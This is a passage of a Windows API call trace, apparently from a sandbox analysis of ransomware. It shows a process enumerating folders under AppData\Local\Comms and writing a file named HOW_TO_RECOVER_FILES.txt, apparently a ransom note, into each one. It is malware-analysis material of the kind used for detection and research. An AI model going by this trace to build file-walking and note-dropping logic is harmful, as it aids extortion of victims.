lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0152.123] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 1 [0152.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 0 [0152.124] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0152.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0152.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0152.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0152.124] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.125] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 1 [0152.125] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.125] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0152.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0152.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0152.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0152.125] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.126] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.126] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe5af4421, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0152.126] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.126] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0152.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0152.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0152.127] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0152.127] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.127] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.127] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe5af4421, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0152.127] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe5af4421, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 0 [0152.127] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0152.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0152.127] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6eb080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0152.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb5a0) returned 1 [0152.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0152.128] GetFileType (hFile=0x630) returned 0x1 [0152.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb510) returned 1 [0152.128] GetFileType (hFile=0x630) returned 0x1 [0152.129] WriteFile (in: hFile=0x630, lpBuffer=0x3b29cb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eb668, lpOverlapped=0x0 | out: lpBuffer=0x3b29cb8*, lpNumberOfBytesWritten=0x1f6eb668*=0x5d0, lpOverlapped=0x0) returned 1 [0152.129] CloseHandle (hObject=0x630) returned 1 [0152.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0152.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0152.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0152.130] GetFileType (hFile=0x630) returned 0x1 [0152.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0152.130] GetFileType (hFile=0x630) returned 0x1 [0152.131] WriteFile (in: hFile=0x630, lpBuffer=0x3b2d520*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x3b2d520*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0152.131] CloseHandle (hObject=0x630) returned 1 [0152.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0152.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0152.132] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x1a672446, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x1a672446, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a541366, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0152.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1a5b3b2e, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0152.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc120a166, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0152.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a4363d1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0152.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0152.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0152.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0152.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.135] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0152.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0152.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0152.136] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0152.136] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x1a672446, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x1a672446, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.137] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a541366, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0152.137] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1a5b3b2e, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0152.137] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc120a166, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0152.137] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a4363d1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0152.137] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0152.137] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0152.138] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0152.138] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.jtx", cAlternateFileName="")) returned 0 [0152.138] FindClose (in: hFindFile=0x1283d30 